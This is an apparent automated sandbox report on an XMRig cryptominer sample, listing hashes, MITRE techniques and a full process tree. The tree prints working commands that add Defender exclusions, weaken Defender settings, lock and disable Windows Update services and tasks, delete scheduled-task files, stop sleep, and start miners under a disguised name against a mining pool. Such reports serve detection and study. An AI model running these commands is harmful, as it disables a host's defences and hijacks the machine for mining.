xmrig | d48d8c87335633e9ccf35f6b2fcae5146cc357194ec3d9b4e74b94549b759a25

Analysis

max time kernel
31s
max time network
153s
platform
windows10-2004_x64
resource
win10v2004-20260911-en
resource tags

arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
13/11/2026, 12:11

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
la7ITHEwjwKtqnlo.exe
Size 33.3MB
Sample261113-pczqaabs5v
SHA256 d48d8c87335633e9ccf35f6b2fcae5146cc357194ec3d9b4e74b94549b759a25
MD5 b51fca5697c50b4ad0abbd91a0d0fcf5
SHA1 a2f697c209de9d4e89384729b1a9b022e457180c
SHA512 44676a210e48fdb32c8c07a782adb4db822b07f96f8cf04b6da9b090323f6cbf0874538d8005feefddaf1c41d0242bf2733af95f45bfc1a84701c863360140ba
SSDEEP 786432:K14B+wE86QcFX/Wy8yc2D9oPruk3QH9gfuC54S+9f2QtQg2OFEjbOQU:K1q16/tGz5329gfrMf3ueiWQU
TLSH
T1EE7733D219EA0E48F465D3B1031265FFF1373BDD8035EC9ABD5AFC8429229609A3764B
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution xmrig miner persistence privilege_escalation

Malware Config

Signatures

Family: xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

Modifies security service 2 TTPs 1 IoCs

defense_evasion

Modify Registry

T1112

Windows Service

T1543.003

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Start = "4"	nslookup.exe

Suspicious use of NtCreateUserProcessOtherParentProcess 1 TTPs 1 IoCs

defense_evasion privilege_escalation

Parent PID Spoofing

T1134.004

description	pid	Process	procid_target
PID 3640 created 3280	3640	la7ITHEwjwKtqnlo.exe	55

XMRig Miner payload 12 IoCs

miner

resource	yara_rule
behavioral1/memory/4416-130-0x0000000140000000-0x0000000140717000-memory.dmp	xmrig
behavioral1/memory/4416-135-0x0000000140000000-0x0000000140717000-memory.dmp	xmrig
behavioral1/memory/4416-136-0x0000000140000000-0x0000000140717000-memory.dmp	xmrig
behavioral1/memory/4416-134-0x0000000140000000-0x0000000140717000-memory.dmp	xmrig
behavioral1/memory/4416-132-0x0000000140000000-0x0000000140717000-memory.dmp	xmrig
behavioral1/memory/4416-133-0x0000000140000000-0x0000000140717000-memory.dmp	xmrig
behavioral1/memory/4416-144-0x0000000140000000-0x0000000140717000-memory.dmp	xmrig
behavioral1/memory/1044-164-0x0000000140000000-0x0000000140717000-memory.dmp	xmrig
behavioral1/memory/1044-163-0x0000000140000000-0x0000000140717000-memory.dmp	xmrig
behavioral1/memory/1044-162-0x0000000140000000-0x0000000140717000-memory.dmp	xmrig
behavioral1/memory/1044-161-0x0000000140000000-0x0000000140717000-memory.dmp	xmrig
behavioral1/memory/1044-160-0x0000000140000000-0x0000000140717000-memory.dmp	xmrig

Command and Scripting Interpreter: PowerShell 1 TTPs 10 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
4392	powershell.exe
3288	powershell.exe
2776	powershell.exe
4404	powershell.exe
4844	powershell.exe
4892	powershell.exe
3572	powershell.exe
4660	powershell.exe
4564	powershell.exe
1684	powershell.exe

Disables one or more Microsoft Defender components 1 TTPs 1 IoCs

Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

defense_evasion

Disable or Modify Tools

T1562.001

pid	Process
3572	powershell.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002
Cryptocurrency Miner
Makes network request to known mining pool URL.
miner

Deletes itself 1 TTPs 1 IoCs

defense_evasion

File Deletion

T1070.004

pid	Process
3640	la7ITHEwjwKtqnlo.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

Modifies file permissions 1 TTPs 4 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
1560	icacls.exe
2296	icacls.exe
3352	icacls.exe
2596	icacls.exe

Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002
Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004

Power Settings 1 TTPs 5 IoCs

powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

persistence

Power Settings

T1653

pid	Process
4436	powercfg.exe
5084	powercfg.exe
736	powercfg.exe
1512	powercfg.exe
2556	powercfg.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 3640 set thread context of 2684	3640	la7ITHEwjwKtqnlo.exe	89

Hide Artifacts: Ignore Process Interrupts 1 TTPs 1 IoCs

Command interpreters often include specific commands/flags that ignore errors and other hangups.

defense_evasion

Ignore Process Interrupts

T1564.011

pid	Process
1684	powershell.exe

Launches sc.exe 19 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
944	sc.exe
4732	sc.exe
4756	sc.exe
2044	sc.exe
2464	sc.exe
4380	sc.exe
4648	sc.exe
3436	sc.exe
2344	sc.exe
3320	sc.exe
4504	sc.exe
628	sc.exe
3868	sc.exe
3544	sc.exe
3196	sc.exe
4236	sc.exe
3620	sc.exe
1772	sc.exe
2812	sc.exe

Suspicious behavior: EnumeratesProcesses 24 IoCs

pid	Process
3640	la7ITHEwjwKtqnlo.exe
3640	la7ITHEwjwKtqnlo.exe
3640	la7ITHEwjwKtqnlo.exe
3640	la7ITHEwjwKtqnlo.exe
4392	powershell.exe
4392	powershell.exe
3288	powershell.exe
3288	powershell.exe
2776	powershell.exe
2776	powershell.exe
4404	powershell.exe
4404	powershell.exe
4844	powershell.exe
4844	powershell.exe
4892	powershell.exe
4892	powershell.exe
3572	powershell.exe
3572	powershell.exe
4660	powershell.exe
4660	powershell.exe
4564	powershell.exe
4564	powershell.exe
1684	powershell.exe
1684	powershell.exe

Suspicious behavior: RenamesItself 1 IoCs

pid	Process
3640	la7ITHEwjwKtqnlo.exe

Suspicious use of AdjustPrivilegeToken 12 IoCs

description	pid	Process
Token: SeDebugPrivilege	3640	la7ITHEwjwKtqnlo.exe
Token: SeDebugPrivilege	2684	nslookup.exe
Token: SeDebugPrivilege	4392	powershell.exe
Token: SeDebugPrivilege	3288	powershell.exe
Token: SeDebugPrivilege	2776	powershell.exe
Token: SeDebugPrivilege	4404	powershell.exe
Token: SeDebugPrivilege	4844	powershell.exe
Token: SeDebugPrivilege	4892	powershell.exe
Token: SeDebugPrivilege	3572	powershell.exe
Token: SeDebugPrivilege	4660	powershell.exe
Token: SeDebugPrivilege	4564	powershell.exe
Token: SeDebugPrivilege	1684	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3640 wrote to memory of 2344	3640	la7ITHEwjwKtqnlo.exe	85
PID 3640 wrote to memory of 3320	3640	la7ITHEwjwKtqnlo.exe	87
PID 3640 wrote to memory of 2684	3640	la7ITHEwjwKtqnlo.exe	89
PID 3640 wrote to memory of 2684	3640	la7ITHEwjwKtqnlo.exe	89
PID 3640 wrote to memory of 2684	3640	la7ITHEwjwKtqnlo.exe	89
PID 3640 wrote to memory of 2684	3640	la7ITHEwjwKtqnlo.exe	89
PID 3640 wrote to memory of 2684	3640	la7ITHEwjwKtqnlo.exe	89
PID 3640 wrote to memory of 2684	3640	la7ITHEwjwKtqnlo.exe	89
PID 3640 wrote to memory of 2684	3640	la7ITHEwjwKtqnlo.exe	89
PID 3640 wrote to memory of 2684	3640	la7ITHEwjwKtqnlo.exe	89
PID 3640 wrote to memory of 2684	3640	la7ITHEwjwKtqnlo.exe	89
PID 3640 wrote to memory of 2684	3640	la7ITHEwjwKtqnlo.exe	89
PID 3640 wrote to memory of 2684	3640	la7ITHEwjwKtqnlo.exe	89
PID 3640 wrote to memory of 2684	3640	la7ITHEwjwKtqnlo.exe	89
PID 3640 wrote to memory of 2684	3640	la7ITHEwjwKtqnlo.exe	89
PID 3640 wrote to memory of 2684	3640	la7ITHEwjwKtqnlo.exe	89
PID 3640 wrote to memory of 2684	3640	la7ITHEwjwKtqnlo.exe	89
PID 3640 wrote to memory of 2684	3640	la7ITHEwjwKtqnlo.exe	89
PID 3640 wrote to memory of 2684	3640	la7ITHEwjwKtqnlo.exe	89
PID 3640 wrote to memory of 2684	3640	la7ITHEwjwKtqnlo.exe	89
PID 3640 wrote to memory of 2684	3640	la7ITHEwjwKtqnlo.exe	89
PID 3640 wrote to memory of 2684	3640	la7ITHEwjwKtqnlo.exe	89
PID 3640 wrote to memory of 2684	3640	la7ITHEwjwKtqnlo.exe	89
PID 3640 wrote to memory of 2684	3640	la7ITHEwjwKtqnlo.exe	89
PID 3640 wrote to memory of 2684	3640	la7ITHEwjwKtqnlo.exe	89
PID 3640 wrote to memory of 2684	3640	la7ITHEwjwKtqnlo.exe	89
PID 3640 wrote to memory of 2684	3640	la7ITHEwjwKtqnlo.exe	89
PID 3640 wrote to memory of 2684	3640	la7ITHEwjwKtqnlo.exe	89
PID 3640 wrote to memory of 2684	3640	la7ITHEwjwKtqnlo.exe	89
PID 3640 wrote to memory of 2684	3640	la7ITHEwjwKtqnlo.exe	89
PID 3640 wrote to memory of 2684	3640	la7ITHEwjwKtqnlo.exe	89
PID 3640 wrote to memory of 2684	3640	la7ITHEwjwKtqnlo.exe	89
PID 3640 wrote to memory of 2684	3640	la7ITHEwjwKtqnlo.exe	89
PID 3640 wrote to memory of 2684	3640	la7ITHEwjwKtqnlo.exe	89
PID 3640 wrote to memory of 2684	3640	la7ITHEwjwKtqnlo.exe	89
PID 3640 wrote to memory of 2684	3640	la7ITHEwjwKtqnlo.exe	89
PID 3640 wrote to memory of 2684	3640	la7ITHEwjwKtqnlo.exe	89
PID 3640 wrote to memory of 2684	3640	la7ITHEwjwKtqnlo.exe	89
PID 3640 wrote to memory of 2684	3640	la7ITHEwjwKtqnlo.exe	89
PID 3640 wrote to memory of 2684	3640	la7ITHEwjwKtqnlo.exe	89
PID 3640 wrote to memory of 2684	3640	la7ITHEwjwKtqnlo.exe	89
PID 3640 wrote to memory of 2684	3640	la7ITHEwjwKtqnlo.exe	89
PID 3640 wrote to memory of 2684	3640	la7ITHEwjwKtqnlo.exe	89
PID 3640 wrote to memory of 2684	3640	la7ITHEwjwKtqnlo.exe	89
PID 3640 wrote to memory of 2684	3640	la7ITHEwjwKtqnlo.exe	89
PID 3640 wrote to memory of 2684	3640	la7ITHEwjwKtqnlo.exe	89
PID 3640 wrote to memory of 2684	3640	la7ITHEwjwKtqnlo.exe	89
PID 3640 wrote to memory of 2684	3640	la7ITHEwjwKtqnlo.exe	89
PID 3640 wrote to memory of 2684	3640	la7ITHEwjwKtqnlo.exe	89
PID 3640 wrote to memory of 2684	3640	la7ITHEwjwKtqnlo.exe	89
PID 3640 wrote to memory of 2684	3640	la7ITHEwjwKtqnlo.exe	89
PID 3640 wrote to memory of 2684	3640	la7ITHEwjwKtqnlo.exe	89
PID 3640 wrote to memory of 2684	3640	la7ITHEwjwKtqnlo.exe	89
PID 3640 wrote to memory of 2684	3640	la7ITHEwjwKtqnlo.exe	89
PID 3640 wrote to memory of 2684	3640	la7ITHEwjwKtqnlo.exe	89
PID 3640 wrote to memory of 2684	3640	la7ITHEwjwKtqnlo.exe	89
PID 3640 wrote to memory of 2684	3640	la7ITHEwjwKtqnlo.exe	89
PID 3640 wrote to memory of 2684	3640	la7ITHEwjwKtqnlo.exe	89
PID 3640 wrote to memory of 2684	3640	la7ITHEwjwKtqnlo.exe	89
PID 3640 wrote to memory of 2684	3640	la7ITHEwjwKtqnlo.exe	89
PID 3640 wrote to memory of 2684	3640	la7ITHEwjwKtqnlo.exe	89
PID 3640 wrote to memory of 2684	3640	la7ITHEwjwKtqnlo.exe	89
PID 3640 wrote to memory of 2684	3640	la7ITHEwjwKtqnlo.exe	89
PID 3640 wrote to memory of 2684	3640	la7ITHEwjwKtqnlo.exe	89

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3280
- C:\Users\Admin\AppData\Local\Temp\la7ITHEwjwKtqnlo.exe
  "C:\Users\Admin\AppData\Local\Temp\la7ITHEwjwKtqnlo.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Deletes itself
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: RenamesItself
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3640
- - C:\Windows\System32\sc.exe
    "C:\Windows\System32\sc.exe" delete "Widgets Session Task"
    3⤵
    - Launches sc.exe
    PID:2344
- - C:\Windows\System32\sc.exe
    "C:\Windows\System32\sc.exe" create "Widgets Session Task" binpath= "C:\ProgramData\Windows\CommonFiles\Cache\6C4DB8F8\PowerPointExperienceService.exe" start= "auto"
    3⤵
    - Launches sc.exe
    PID:3320
- C:\Windows\System32\nslookup.exe
  "C:\Windows\System32\nslookup.exe"
  2⤵
  - Modifies security service
  - Suspicious use of AdjustPrivilegeToken
  PID:2684
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath $env:ProgramData -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4392
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath $env:TEMP -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3288
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionExtension '.exe' -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2776
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionExtension '.sys' -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4404
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionProcess 'nslookup.exe' -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4844
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionProcess 'svchost.exe' -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4892
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -SignatureDisableUpdateOnStartupWithoutEngine $true -SignatureScheduleDay 8 -SignatureUpdateInterval 0 -SignatureFallbackOrder 'FileShares' -SignatureDefinitionUpdateFileSharesSources '' -CheckForSignaturesBeforeRunningScan $false -MAPSReporting 0 -SubmitSamplesConsent 2 -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Disables one or more Microsoft Defender components
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3572
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
    3⤵
    PID:2368
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
    3⤵
    PID:1228
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
    3⤵
    PID:4356
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
    3⤵
    PID:4348
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $key='HKLM:\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc';$acl=Get-Acl $key;$admin=New-Object System.Security.Principal.NTAccount('BUILTIN','Administrators');$acl.SetOwner($admin);$rule=New-Object System.Security.AccessControl.RegistryAccessRule($admin,'FullControl','Allow');$acl.SetAccessRule($rule);Set-Acl $key $acl;Set-ItemProperty $key -Name 'Start' -Value 4 -Type DWord
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4660
- - C:\Windows\System32\sc.exe
    "C:\Windows\System32\sc.exe" config WaaSMedicSvc start= disabled
    3⤵
    - Launches sc.exe
    PID:4504
- - C:\Windows\System32\sc.exe
    "C:\Windows\System32\sc.exe" stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:628
- - C:\Windows\System32\sc.exe
    "C:\Windows\System32\sc.exe" stop wuauserv
    3⤵
    - Launches sc.exe
    PID:944
- - C:\Windows\System32\sc.exe
    "C:\Windows\System32\sc.exe" config wuauserv start= disabled
    3⤵
    - Launches sc.exe
    PID:4732
- - C:\Windows\System32\sc.exe
    "C:\Windows\System32\sc.exe" failure wuauserv reset= 0 actions= "/"/""
    3⤵
    - Launches sc.exe
    PID:4236
- - C:\Windows\System32\sc.exe
    "C:\Windows\System32\sc.exe" stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:4756
- - C:\Windows\System32\sc.exe
    "C:\Windows\System32\sc.exe" config UsoSvc start= disabled
    3⤵
    - Launches sc.exe
    PID:1772
- - C:\Windows\System32\sc.exe
    "C:\Windows\System32\sc.exe" failure UsoSvc reset= 0 actions= "/"/""
    3⤵
    - Launches sc.exe
    PID:3868
- - C:\Windows\System32\sc.exe
    "C:\Windows\System32\sc.exe" stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:2812
- - C:\Windows\System32\sc.exe
    "C:\Windows\System32\sc.exe" config WaaSMedicSvc start= disabled
    3⤵
    - Launches sc.exe
    PID:3544
- - C:\Windows\System32\sc.exe
    "C:\Windows\System32\sc.exe" failure WaaSMedicSvc reset= 0 actions= "/"/""
    3⤵
    - Launches sc.exe
    PID:2044
- - C:\Windows\System32\sc.exe
    "C:\Windows\System32\sc.exe" stop BITS
    3⤵
    - Launches sc.exe
    PID:3620
- - C:\Windows\System32\sc.exe
    "C:\Windows\System32\sc.exe" config BITS start= disabled
    3⤵
    - Launches sc.exe
    PID:2464
- - C:\Windows\System32\sc.exe
    "C:\Windows\System32\sc.exe" failure BITS reset= 0 actions= "/"/""
    3⤵
    - Launches sc.exe
    PID:4380
- - C:\Windows\System32\sc.exe
    "C:\Windows\System32\sc.exe" stop dosvc
    3⤵
    - Launches sc.exe
    PID:3196
- - C:\Windows\System32\sc.exe
    "C:\Windows\System32\sc.exe" config dosvc start= disabled
    3⤵
    - Launches sc.exe
    PID:4648
- - C:\Windows\System32\sc.exe
    "C:\Windows\System32\sc.exe" failure dosvc reset= 0 actions= "/"/""
    3⤵
    - Launches sc.exe
    PID:3436
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep bypass -c "foreach($s in @('wuauserv','UsoSvc','WaaSMedicSvc','BITS','dosvc')){$p='HKLM:\SYSTEM\CurrentControlSet\Services\'+$s;try{$a=Get-Acl $p;$sid=[System.Security.Principal.NTAccount]'NT SERVICE\WaaSMedicSvc';$r=New-Object System.Security.AccessControl.RegistryAccessRule($sid,'SetValue,CreateSubKey','None','None','Deny');$a.AddAccessRule($r);Set-Acl $p $a}catch{}}"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4564
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /Disable
    3⤵
    PID:3836
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /Disable
    3⤵
    PID:4744
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /Disable
    3⤵
    PID:3224
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\UpdateOrchestrator\Schedule Scan" /Disable
    3⤵
    PID:1944
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\UpdateOrchestrator\Schedule Scan Static Task" /Disable
    3⤵
    PID:2476
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\UpdateOrchestrator\Schedule Work" /Disable
    3⤵
    PID:5044
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work" /Disable
    3⤵
    PID:5116
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\UpdateOrchestrator\USO_UxBroker" /Disable
    3⤵
    PID:4804
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\UpdateOrchestrator\Reboot_AC" /Disable
    3⤵
    PID:4620
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\UpdateOrchestrator\Reboot_Battery" /Disable
    3⤵
    PID:3584
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\WaaSMedic\PerformRemediation" /Disable
    3⤵
    PID:4772
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep bypass -c "$taskRoot=\"$env:SystemRoot\System32\Tasks\Microsoft\Windows\";$dirs=@('UpdateOrchestrator','WindowsUpdate','WaaSMedic','Windows Defender');foreach($d in $dirs){$full=$taskRoot+$d;if(Test-Path $full){Get-ChildItem $full -File -ErrorAction SilentlyContinue|ForEach-Object{try{takeown /F $_.FullName /A >$null 2>&1;icacls $_.FullName /grant Administrators:F >$null 2>&1;Remove-Item $_.FullName -Force -ErrorAction Stop}catch{}}}try{icacls $full /inheritance:r /deny 'SYSTEM:(WD,AD)' /deny 'LOCAL SERVICE:(WD,AD)' >$null 2>&1}catch{}}$cacheRoot='HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\Microsoft\Windows\';foreach($d in $dirs){$cp=$cacheRoot+$d;if(Test-Path $cp){try{Remove-Item $cp -Recurse -Force -ErrorAction Stop}catch{try{$a=Get-Acl $cp;$admin=[System.Security.Principal.NTAccount]'BUILTIN\Administrators';$a.SetOwner($admin);$rule=New-Object System.Security.AccessControl.RegistryAccessRule($admin,'FullControl','ContainerInherit,ObjectInherit','None','Allow');$a.SetAccessRule($rule);Set-Acl $cp $a;Remove-Item $cp -Recurse -Force -ErrorAction SilentlyContinue}catch{}}}}"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Hide Artifacts: Ignore Process Interrupts
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1684
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" C:\Windows\System32\Tasks\Microsoft\WindowsUpdateOrchestrator /inheritance:r /deny SYSTEM:(WD,AD) /deny "LOCAL SERVICE:(WD,AD)"
      4⤵
      Modifies file permissions
      PID:1560
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" C:\Windows\System32\Tasks\Microsoft\WindowsWindowsUpdate /inheritance:r /deny SYSTEM:(WD,AD) /deny "LOCAL SERVICE:(WD,AD)"
      4⤵
      Modifies file permissions
      PID:2296
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" C:\Windows\System32\Tasks\Microsoft\WindowsWaaSMedic /inheritance:r /deny SYSTEM:(WD,AD) /deny "LOCAL SERVICE:(WD,AD)"
      4⤵
      Modifies file permissions
      PID:3352
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" "C:\Windows\System32\Tasks\Microsoft\WindowsWindows Defender" /inheritance:r /deny SYSTEM:(WD,AD) /deny "LOCAL SERVICE:(WD,AD)"
      4⤵
      Modifies file permissions
      PID:2596
- - C:\Windows\System32\powercfg.exe
    "C:\Windows\System32\powercfg.exe" /x -hibernate-timeout-ac 0
    3⤵
    - Power Settings
    PID:4436
- - C:\Windows\System32\powercfg.exe
    "C:\Windows\System32\powercfg.exe" /x -hibernate-timeout-dc 0
    3⤵
    - Power Settings
    PID:5084
- - C:\Windows\System32\powercfg.exe
    "C:\Windows\System32\powercfg.exe" /x -standby-timeout-ac 0
    3⤵
    - Power Settings
    PID:736
- - C:\Windows\System32\powercfg.exe
    "C:\Windows\System32\powercfg.exe" /x -standby-timeout-dc 0
    3⤵
    - Power Settings
    PID:1512
- - C:\Windows\System32\powercfg.exe
    "C:\Windows\System32\powercfg.exe" /hibernate off
    3⤵
    - Power Settings
    PID:2556
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\MRT\MRT_HB" /Disable
    3⤵
    PID:4160
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows Removal Tools\MRT_HB" /Disable
    3⤵
    PID:4068
- - C:\ProgramData\0e594ba500000a7c.exe
    RuntimeBroker.exe -a pearlhash -o stratum+tcp://pool.pearlhash.xyz:9000 -u prl1pak0t75s7accms2cny20s88g7x449pp89llsr45hfz27xxe70a0rsvf0jfy -p x20 --no-color
    3⤵
    PID:4592
- - C:\ProgramData\0e59617f00000a7c.exe
    RuntimeBroker.exe -a pearlhash -o stratum+tcp://pool.pearlhash.xyz:9000 -u prl1pak0t75s7accms2cny20s88g7x449pp89llsr45hfz27xxe70a0rsvf0jfy -p x20 --no-color
    3⤵
    PID:3852
- - C:\ProgramData\0e59760100000a7c.exe
    RuntimeBroker.exe -a pearlhash -o stratum+tcp://pool.pearlhash.xyz:9000 -u prl1pak0t75s7accms2cny20s88g7x449pp89llsr45hfz27xxe70a0rsvf0jfy -p x20 --no-color
    3⤵
    PID:4648
- - C:\ProgramData\0e597bfc00000a7c.exe
    RuntimeBroker.exe -a pearlhash -o stratum+tcp://pool.pearlhash.xyz:9000 -u prl1pak0t75s7accms2cny20s88g7x449pp89llsr45hfz27xxe70a0rsvf0jfy -p x20 --no-color
    3⤵
    PID:4704
- - C:\ProgramData\0e59a7bf00000a7c.exe
    RuntimeBroker.exe -a pearlhash -o stratum+tcp://pool.pearlhash.xyz:9000 -u prl1pak0t75s7accms2cny20s88g7x449pp89llsr45hfz27xxe70a0rsvf0jfy -p x20 --no-color
    3⤵
    PID:3412
- - C:\ProgramData\0e59b56b00000a7c.exe
    RuntimeBroker.exe -a pearlhash -o stratum+tcp://pool.pearlhash.xyz:9000 -u prl1pak0t75s7accms2cny20s88g7x449pp89llsr45hfz27xxe70a0rsvf0jfy -p x20 --no-color
    3⤵
    PID:2944
- - C:\ProgramData\0e59bd8a00000a7c.exe
    RuntimeBroker.exe -a pearlhash -o stratum+tcp://pool.pearlhash.xyz:9000 -u prl1pak0t75s7accms2cny20s88g7x449pp89llsr45hfz27xxe70a0rsvf0jfy -p x20 --no-color
    3⤵
    PID:1516
- - C:\ProgramData\0e59c92200000a7c.exe
    RuntimeBroker.exe -a pearlhash -o stratum+tcp://pool.pearlhash.xyz:9000 -u prl1pak0t75s7accms2cny20s88g7x449pp89llsr45hfz27xxe70a0rsvf0jfy -p x20 --no-color
    3⤵
    PID:2924
- - C:\ProgramData\0e59e6bc00000a7c.exe
    RuntimeBroker.exe -a pearlhash -o stratum+tcp://pool.pearlhash.xyz:9000 -u prl1pak0t75s7accms2cny20s88g7x449pp89llsr45hfz27xxe70a0rsvf0jfy -p x20 --no-color
    3⤵
    PID:2416
- - C:\ProgramData\0e59f36e00000a7c.exe
    RuntimeBroker.exe -a pearlhash -o stratum+tcp://pool.pearlhash.xyz:9000 -u prl1pak0t75s7accms2cny20s88g7x449pp89llsr45hfz27xxe70a0rsvf0jfy -p x20 --no-color
    3⤵
    PID:1796
- - C:\ProgramData\0e5a010b00000a7c.exe
